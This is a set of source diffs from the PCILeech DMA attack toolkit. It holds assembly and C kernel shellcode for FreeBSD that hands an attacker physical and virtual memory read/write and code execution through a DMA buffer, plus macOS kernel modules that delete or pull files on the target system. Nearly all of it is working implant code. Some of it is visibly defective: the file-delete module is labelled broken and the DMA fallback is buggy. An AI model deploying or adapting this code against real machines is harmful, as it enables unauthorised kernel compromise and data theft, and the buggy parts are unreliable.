LEA rcx, label_main_base - 1000h ; address of data page in parameter 1
ENTER 20h, 0
CALL stage3_c_EntryPoint
LEAVE
; ----------------------------------------------------
; 3: RESTORE AND JMP BACK
; ----------------------------------------------------
RET
main ENDP
; ----------------------------------------------------
; TRIVIAL VERSION OF STRCMP
; destroyed registers :: <none>
; rdi -> ptr to str1
; rsi -> ptr to str2
; rax <- 0 == success, !0 == fail
; ----------------------------------------------------
strcmp_simple PROC
PUSH rcx
XOR rcx, rcx
DEC rcx
loop_strcmp:
INC rcx
MOV al, [rdi+rcx]
CMP al, [rsi+rcx]
JNE error
CMP al, 0
JNE loop_strcmp
XOR rax, rax
POP rcx
RET
error:
MOV al, 1
POP rcx
RET
strcmp_simple ENDP
; ----------------------------------------------------
; FIND EXPORTED SYMBOL IN BSD KERNEL
; destroyed registers :: rsi
; rcx -> PKMDDATA
; rdx -> rdi -> ptr to symbol/function str
; rax <- resulting address (zero if error)
; ----------------------------------------------------
LookupFunctionBSD PROC
PUSH rdi
PUSH rsi
MOV rdi, rdx
MOV rcx, [rcx+58h] ; [PKMDDATA->ReservedKMD]
MOV rdx, rcx ; [PKMDDATA->ReservedKMD]
SUB rcx, 8
loop_symsearch:
SUB rcx, 18h
MOV rax, [rcx]
TEST rax, rax
JZ error
MOV esi, [rcx]
ADD rsi, rdx
CALL strcmp_simple
TEST rax, rax
JNZ loop_symsearch
MOV rax, [rcx+8]
POP rsi
POP rdi
RET
error:
XOR rax, rax
POP rsi
POP rdi
RET
LookupFunctionBSD ENDP
; ----------------------------------------------------
; Lookup functions in the FreeBSD kernel image.
; This function is called by the c-code.
; rcx = PKMDDATA
; rdx = ptr to FNBSD struct
; rax <- TRUE(1)/FALSE(0)
; ----------------------------------------------------
LookupFunctionsDefaultFreeBSD PROC
; ----------------------------------------------------
; 0: SET UP / STORE NV-REGISTERS
; ----------------------------------------------------
PUSH r15
PUSH r14
PUSH r13
PUSH r12
MOV r12, rsp
MOV r15, rcx ; PKMDDATA
MOV r14, rdx ; PFNBSD
MOV r13, 7*8 ; num functions * 8
; ----------------------------------------------------
; 1: PUSH FUNCTION NAME POINTERS ON STACK
; ----------------------------------------------------
LEA rax, str_dump_avail
PUSH rax
LEA rax, str_kthread_exit
PUSH rax
LEA rax, str_memcpy
PUSH rax
LEA rax, str_memset
PUSH rax
LEA rax, str_pause_sbt
PUSH rax
LEA rax, str_vm_phys_alloc_contig
PUSH rax
LEA rax, str_vm_phys_free_contig
PUSH rax
; ----------------------------------------------------
; 2: LOOKUP FUNCTION POINTERS BY NAME
; ----------------------------------------------------
lookup_loop:
SUB r13, 8
MOV rcx, r15 ; PKMDDATA
POP rdx
CALL LookupFunctionBSD
TEST rax, rax
JZ lookup_fail
MOV [r14+r13], rax
TEST r13, r13
JNZ lookup_loop
; ----------------------------------------------------
; 3: RESTORE NV REGISTERS AND RETURN
; ----------------------------------------------------
MOV rax, 1
JMP cleanup_return
lookup_fail:
XOR rax, rax
cleanup_return:
MOV rsp, r12
POP r12
POP r13
POP r14
POP r15
RET
LookupFunctionsDefaultFreeBSD ENDP
str_dump_avail db 'dump_avail', 0
str_kthread_exit db 'kthread_exit', 0
str_memcpy db 'memcpy', 0
str_memset db 'memset', 0
str_pause_sbt db 'pause_sbt', 0
str_vm_phys_alloc_contig db 'vm_phys_alloc_contig', 0
str_vm_phys_free_contig db 'vm_phys_free_contig', 0
; ------------------------------------------------------------------
; Convert from the Windows X64 calling convention to the SystemV
; X64 calling convention used by Linux. A maximum of ten (10)
; parameters in addition to the function ptr can be supplied.
; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);
; QWORD SysVCall(QWORD fn, ...);
; ------------------------------------------------------------------
SysVCall PROC
MOV rax, rcx
PUSH rdi
PUSH rsi
PUSH r14
PUSH r15
MOV rdi, rdx
MOV rsi, r8
MOV rdx, r9
MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
MOV r8, [rsp+28h+4*8+08h]
MOV r9, [rsp+28h+4*8+10h]
MOV r15, rsp
MOV r14, [rsp+28h+4*8+30h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+5*8+28h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+6*8+20h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+7*8+18h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset
PUSH r14
CALL rax
MOV rsp, r15
POP r15
POP r14
POP rsi
POP rdi
RET
SysVCall ENDP
END

View File

@@ -0,0 +1,220 @@
// fbsdx64_stage3_c.c : stage3 main shellcode.
// Compatible with FreeBSD x64.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef char CHAR, *PCHAR;
typedef unsigned short WORD, *PWORD;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned __int64 QWORD, *PQWORD;
typedef void *HANDLE;
#define MAX_PATH 260
#define TRUE 1
#define FALSE 0
//-------------------------------------------------------------------------------
// General defines below.
//-------------------------------------------------------------------------------
#define BSD_PHYS2VIRT_BASE 0xFFFFF80000000000ULL
typedef struct tdvm_page_t {
QWORD _opaque[6];
QWORD qwPA;
} *vm_page_t;
typedef struct tdPHYSICAL_MEMORY_RANGE {
QWORD BaseAddress;
QWORD NumberOfBytes;
} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;
typedef struct tdPHYSICAL_MEMORY_RANGE_BSD {
QWORD StartAddress;
QWORD EndAddress;
} PHYSICAL_MEMORY_RANGE_BSD, *PPHYSICAL_MEMORY_RANGE_BSD;
typedef struct tdFNBSD { // function pointers to BSD functions and structs
QWORD dump_avail;
QWORD kthread_exit;
QWORD memcpy;
QWORD memset;
QWORD pause_sbt;
QWORD vm_phys_alloc_contig;
QWORD vm_phys_free_contig;
QWORD ReservedFutureUse[25];
} FNBSD, *PFNBSD;
#define KMDDATA_OPERATING_SYSTEM_FREEBSD 0x08
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
* This page/struct is used to communicate between the inserted kernel code and
* the pcileech program.
* VNR: 002
*/
typedef struct tdKMDDATA {
QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377.
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX).
QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).
QWORD DMASizeBuffer; // [0x018] size of DMA buffer.
QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer.
QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer.
QWORD _status; // [0x030] status of operation
QWORD _result; // [0x038] result of operation TRUE|FALSE
QWORD _address; // [0x040] virtual address to operate on.
QWORD _size; // [0x048] size of operation / data in DMA buffer.
QWORD OperatingSystem; // [0x050] operating system type
QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version).
QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use.
QWORD dataInExtraLength; // [0x100] length of extra in-data.
QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.
QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data.
QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer.
QWORD dataIn[28]; // [0x120]
QWORD dataOutExtraLength; // [0x200] length of extra in-data.
QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.
QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data.
QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer.
QWORD dataOut[28]; // [0x220]
FNBSD fn; // [0x300] used by shellcode to store function pointers.
CHAR dataInStr[MAX_PATH]; // [0x400] string in-data
CHAR ReservedFutureUse2[252];
CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data
CHAR ReservedFutureUse3[252];
QWORD ReservedFutureUse4[255]; // [0x800]
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
#define KMD_CMD_VOID 0xffff
#define KMD_CMD_COMPLETED 0
#define KMD_CMD_READ 1
#define KMD_CMD_WRITE 2
#define KMD_CMD_TERMINATE 3
#define KMD_CMD_MEM_INFO 4
#define KMD_CMD_EXEC 5
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
//-------------------------------------------------------------------------------
// Assembly functions below.
//-------------------------------------------------------------------------------
extern BOOL LookupFunctionsDefaultFreeBSD(PKMDDATA pk, QWORD qwAddrFNBSD);
extern QWORD SysVCall(QWORD fn, ...);
//-------------------------------------------------------------------------------
// Kernel module functions below.
//-------------------------------------------------------------------------------
/*
* Retrieve system memory ranges from the dump_avail memory structure.
*/
BOOL SetMemoryRanges(PKMDDATA pk)
{
PPHYSICAL_MEMORY_RANGE pmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrVirtual;
PPHYSICAL_MEMORY_RANGE_BSD pmrBSD = (PPHYSICAL_MEMORY_RANGE_BSD)pk->fn.dump_avail;
QWORD i = 0;
while(pmrBSD[i].StartAddress || pmrBSD[i].EndAddress) {
pmr[i].BaseAddress = pmrBSD[i].StartAddress;
pmr[i].NumberOfBytes = pmrBSD[i].EndAddress - pmrBSD[i].StartAddress;
i++;
}
pk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);
return TRUE;
}
#define SBT_1S (1ULL << 32)
#define SBT_1MS (SBT_1S / 1000)
// status:
// 1: ready for command
// 2: processing
// f0000000: terminated
// f0000000+: error
// op: - see KMD_CMD defines
// result:
// 0: FALSE
// 1: TRUE
// address:
// physical base address for memory operation
// size:
// size of memory operation
VOID stage3_c_EntryPoint(PKMDDATA pk)
{
QWORD idleCount = 0;
vm_page_t pg_phys;
// 1: set up symbols and kmd data
pk->MAGIC = 0x0ff11337711333377;
pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_FREEBSD;
if(!LookupFunctionsDefaultFreeBSD(pk, (QWORD)&pk->fn)) {
pk->_status = 0xf0000001;
return;
}
// 1: set up mem out DMA area 4MB/16MB in lower 4GB
pk->DMASizeBuffer = 0x1000000;
pg_phys = (vm_page_t)SysVCall(pk->fn.vm_phys_alloc_contig, 0x1000000 / 0x1000, 0, 0xf0000000, 0x1000, 0);
if(!pg_phys) {
pk->DMASizeBuffer = 0x00400000;
SysVCall(pk->fn.vm_phys_alloc_contig, 0x00400000 / 0x1000, 0, 0xf0000000, 0x1000, 0);
}
if(!pg_phys) {
pk->DMASizeBuffer = 0;
pk->_status = 0xf0000002;
return;
}
pk->DMAAddrPhysical = pg_phys->qwPA;
pk->DMAAddrVirtual = BSD_PHYS2VIRT_BASE | pg_phys->qwPA;
// 3: main command loop.
while(TRUE) {
pk->_status = 1;
if(KMD_CMD_COMPLETED == pk->_op) { // NOP
idleCount++;
if(idleCount > 10000000000) {
SysVCall(pk->fn.pause_sbt, "pcileech", SBT_1MS, 0, 0); // 1ms
}
continue;
}
pk->_status = 2;
if(KMD_CMD_TERMINATE == pk->_op) { // EXIT
pk->_status = 0xf0000000;
SysVCall(pk->fn.vm_phys_free_contig, pg_phys, pk->DMASizeBuffer / 0x1000);
pk->DMAAddrPhysical = 0;
pk->DMAAddrVirtual = 0;
pk->_result = TRUE;
pk->MAGIC = 0;
pk->_op = KMD_CMD_COMPLETED;
SysVCall(pk->fn.kthread_exit);
return;
}
if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)
pk->_result = SetMemoryRanges(pk);
}
if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);
pk->_result = TRUE;
}
if(KMD_CMD_READ == pk->_op) { // READ
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, BSD_PHYS2VIRT_BASE | pk->_address, pk->_size);
pk->_result = TRUE;
}
if(KMD_CMD_WRITE == pk->_op) { // WRITE
SysVCall(pk->fn.memcpy, BSD_PHYS2VIRT_BASE | pk->_address, pk->DMAAddrVirtual, pk->_size);
pk->_result = TRUE;
}
if(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size);
pk->_result = TRUE;
}
if(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address
SysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size);
pk->_result = TRUE;
}
pk->_op = KMD_CMD_COMPLETED;
idleCount = 0;
}
}

View File

@@ -7,6 +7,8 @@
#ifndef __LX64_COMMON_H__
#define __LX64_COMMON_H__
#include "statuscodes.h"
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
@@ -65,10 +67,4 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001
#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002
#define STATUS_FAIL_FILE_SIZE 0xf0000003
#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004
#define STATUS_FAIL_ACTION 0xf0000005
#endif /* __LX64_COMMON_H__ */

View File

@@ -8,7 +8,7 @@
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filedelete.c
// ml64 lx64_common_a.asm /Felx64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filedelete.obj lx64_common.obj
// shellcode64.exe -o lx64_filedelete.exe "DELETE FILES ON TARGET SYSTEM \nLINUX X64 EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to push file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n==============================================================="
// shellcode64.exe -o lx64_filedelete.exe "DELETE FILE ON TARGET SYSTEM \nLINUX X64 EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to delete file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n==============================================================="
//
#include "lx64_common.h"

View File

@@ -1,11 +1,11 @@
// ax64_common.c : support functions used by OS X KMDs started by stage3 EXEC.
// Compatible with OS X.
// macos_common.c : support functions used by macOS KMDs started by stage3 EXEC.
// Compatible with macOS.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "ax64_common.h"
#include "macos_common.h"
//-------------------------------------------------------------------------------
// EFI related defines below.

View File

@@ -1,11 +1,13 @@
// ax64_common.h : definitions of commonly used shellcode functions
// Compatible with OS X.
// macos_common.h : definitions of commonly used shellcode functions
// Compatible with macOS.
//
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __AX64_COMMON_H__
#define __AX64_COMMON_H__
#ifndef __MACOS_COMMON_H__
#define __MACOS_COMMON_H__
#include "statuscodes.h"
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
@@ -25,7 +27,7 @@ typedef unsigned long STATUS;
#define STATUS_FAIL_BASE 0xf0000000UL
extern QWORD SysVCall(QWORD fn, ...);
extern QWORD LookupFunctionOSX(QWORD qwAddrKernelBase, CHAR szFunctionName[]);
extern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]);
extern VOID PageFlush();
extern QWORD GetCR3();
@@ -41,7 +43,7 @@ typedef struct tdPHYSICAL_MEMORY_RANGE {
QWORD NumberOfBytes;
} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;
typedef struct tdFNOSX { // function pointers to OSX functions (used in main control program)
typedef struct tdFNMACOS { // function pointers to macOS functions (used in main control program)
QWORD _kernel_map;
QWORD _PE_state;
QWORD IOFree;
@@ -54,7 +56,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con
QWORD memset;
QWORD vm_protect;
QWORD ReservedFutureUse[21];
} FNOSX, *PFNOSX;
} FNMACOS, *PFNMACOS;
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
@@ -64,7 +66,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con
*/
typedef struct tdKMDDATA {
QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377.
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX).
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS).
QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).
QWORD DMASizeBuffer; // [0x018] size of DMA buffer.
QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer.
@@ -86,7 +88,7 @@ typedef struct tdKMDDATA {
QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data.
QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer.
QWORD dataOut[28]; // [0x220]
FNOSX fn; // [0x300] used by shellcode to store function pointers.
FNMACOS fn; // [0x300] used by shellcode to store function pointers.
CHAR dataInStr[MAX_PATH]; // [0x400] string in-data
CHAR ReservedFutureUse2[252];
CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data
@@ -95,15 +97,6 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001
#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002
#define STATUS_FAIL_FILE_SIZE 0xf0000003
#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004
#define STATUS_FAIL_ACTION 0xf0000005
#define STATUS_FAIL_SIGNATURE_NOT_FOUND 0xf0000006
#define STATUS_FAIL_OUTOFMEMORY 0xf0000007
#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008
//-------------------------------------------------------------------------------
// Function definitions below.
//-------------------------------------------------------------------------------
@@ -147,4 +140,4 @@ QWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase);
*/
QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges);
#endif /* __AX64_COMMON_H__ */
#endif /* __MACOS_COMMON_H__ */

View File

@@ -1,5 +1,5 @@
; ax64_common_a.asm : assembly to receive execution from stage3 exec command.
; Compatible with OS X.
; macos_common_a.asm : assembly to receive execution from stage3 exec command.
; Compatible with macOS.
;
; (c) Ulf Frisk, 2016
; Author: Ulf Frisk, pcileech@frizk.net
@@ -9,7 +9,7 @@
; Prototypes
; -------------------------------------
main PROTO
LookupFunctionOSX PROTO
LookupFunctionMacOS PROTO
SysVCall PROTO
PageFlush PROTO
GetCR3 PROTO
@@ -128,7 +128,7 @@ macho_parse_find_symtab ENDP
; rdx -> rsi -> ptr to function name
; rax <- resulting address (zero if error)
; ----------------------------------------------------
LookupFunctionOSX PROC
LookupFunctionMacOS PROC
; ecx = counter
; r8 = symtab_command address
; r9 = symbol_table_current address
@@ -177,7 +177,7 @@ LookupFunctionOSX PROC
POP rdi
POP r10
RET
LookupFunctionOSX ENDP
LookupFunctionMacOS ENDP
PageFlush PROC
MOV rax, cr3
@@ -192,7 +192,8 @@ GetCR3 ENDP
; ------------------------------------------------------------------
; Convert from the Windows X64 calling convention to the SystemV
; X64 calling convention used by Linux/OSX.
; X64 calling convention used by Linux. A maximum of twelve (12)
; parameters in addition to the function ptr can be supplied.
; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);
; QWORD SysVCall(QWORD fn, ...);
; ------------------------------------------------------------------
@@ -200,19 +201,31 @@ SysVCall PROC
MOV rax, rcx
PUSH rdi
PUSH rsi
PUSH r14
PUSH r15
MOV rdi, rdx
MOV rsi, r8
MOV rdx, r9
MOV rcx, [rsp+28h+2*8+00h] ; 20h stack shadow space + 8h (RET) + 2*8h PUSH + xxh offset
MOV r8, [rsp+28h+2*8+08h]
MOV r9, [rsp+28h+2*8+10h]
PUSH r15
MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
MOV r8, [rsp+28h+4*8+08h]
MOV r9, [rsp+28h+4*8+10h]
MOV r15, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
SUB rsp, 020h
MOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset
PUSH r14
CALL rax
MOV rsp, r15
POP r15
POP r14
POP rsi
POP rdi
RET

View File

@@ -0,0 +1,159 @@
// ax64_filedelete.c : kernel code to delete files on target system.
// Compatible with Apple OS X.
//
// TODO: THIS IS CURRENTLY BROKEN! FIX THIS!!!
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filedelete.c
// ml64.exe ax64_common_a.asm /Feax64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filedelete.obj ax64_common.obj
// shellcode64.exe -o ax64_filedelete.exe "DELETE FILES ON TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to push file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n==============================================================="
//
#include "macos_common.h"
#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB
typedef struct tdFN2 {
QWORD vnode_lookup;
QWORD vnode_getparent;
QWORD vnode_parent;
QWORD vnode_put;
QWORD VNOP_READ;
QWORD VNOP_OPEN;
QWORD VNOP_REMOVE;
QWORD uio_addiov;
QWORD uio_resid;
QWORD vfs_context_current;
QWORD uio_create;
QWORD uio_free;
QWORD strlen;
} FN2, *PFN2;
typedef struct componentname {
/*
* Arguments to lookup.
*/
DWORD cn_nameiop; /* lookup operation */
DWORD cn_flags; /* flags (see below) */
#ifdef BSD_KERNEL_PRIVATE
vfs_context_t cn_context;
struct nameidata *cn_ndp; /* pointer back to nameidata */
/* XXX use of these defines are deprecated */
#define cn_proc (cn_context->vc_proc + 0) /* non-lvalue */
#define cn_cred (cn_context->vc_ucred + 0) /* non-lvalue */
#else
void * cn_reserved1; /* use vfs_context_t */
void * cn_reserved2; /* use vfs_context_t */
#endif
/*
* Shared between lookup and commit routines.
*/
char *cn_pnbuf; /* pathname buffer */
int cn_pnlen; /* length of allocated buffer */
char *cn_nameptr; /* pointer to looked up name */
int cn_namelen; /* length of looked up component */
DWORD cn_hash; /* hash value of looked up name */
DWORD cn_consume; /* chars to consume in lookup() */
} COMPONENTNAME;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
pfn2->vnode_lookup = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 });
pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'a', 'r', 'e', 'n', 't', 0 });
pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'g', 'e', 't', 'p', 'a', 'r', 'e', 'n', 't', 0 });
pfn2->vnode_put = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 });
pfn2->VNOP_READ = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 });
pfn2->VNOP_OPEN = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'O', 'P', 'E', 'N', 0 });
pfn2->VNOP_REMOVE = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'M', 'O', 'V', 'E', 0 });
pfn2->uio_addiov = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 });
pfn2->uio_resid = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 });
pfn2->vfs_context_current = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 });
pfn2->uio_create = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 });
pfn2->uio_free = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 });
pfn2->strlen = LookupFunctionOSX(pk->qwAddrKernelBase,
(CHAR[]) { '_', 's', 't', 'r', 'l', 'e', 'n', 0 });
for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
if(!((PQWORD)pfn2)[i]) {
return FALSE;
}
}
return TRUE;
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD vnode = 0, vnode_p = 0, vfs_current;
COMPONENTNAME cn;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
vfs_current = SysVCall(fn2.vfs_context_current);
if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 2, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
SysVCall(pk->fn.memset, &cn, 0, sizeof(COMPONENTNAME));
cn.cn_nameiop = 2; // DELETE
cn.cn_flags = 0x00008000; // last with this pathname
cn.cn_reserved1 = vfs_current;
//cn.obsolete1 = (VOID*)vfs_current;
cn.cn_pnbuf = pk->dataInStr;
cn.cn_pnlen = sizeof(pk->dataInStr);
cn.cn_nameptr = cn.cn_pnbuf;
cn.cn_namelen = SysVCall(fn2.strlen, pk->dataInStr);
//cn.obsolete2 = vfs_current;
//pk->dataOut[2] = SysVCall(fn2.vnode_getparent, vnode);
vnode_p = SysVCall(fn2.vnode_parent, vnode);
pk->dataOut[2] = vnode_p;
/*SysVCall(fn2.vnode_lookup, (CHAR[]) { '/', 'v', 'a', 'r', '/', 'r', 'o', 'o', 't', 0 }, 2, &vnode_p, vfs_current);
pk->dataOut[3] = vnode_p;*/
QWORD vnode_2 = 0;
pk->dataOut[4] = SysVCall(fn2.VNOP_OPEN, vnode_p, &vnode_2, &cn, vfs_current);
pk->dataOut[5] = vnode_2;
if(SysVCall(fn2.VNOP_REMOVE, vnode_p, vnode, &cn, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
status = 0x777;
error:
if(vnode) {
SysVCall(fn2.vnode_put, vnode);
}
if(vnode_p) {
SysVCall(fn2.vnode_put, vnode_p);
}
pk->dataOut[0] = status;
}

View File

@@ -0,0 +1,86 @@
// macos_filepull.c : kernel code to pull files from target system.
// Compatible with Apple macOS.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// Inspired by: http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepull.c
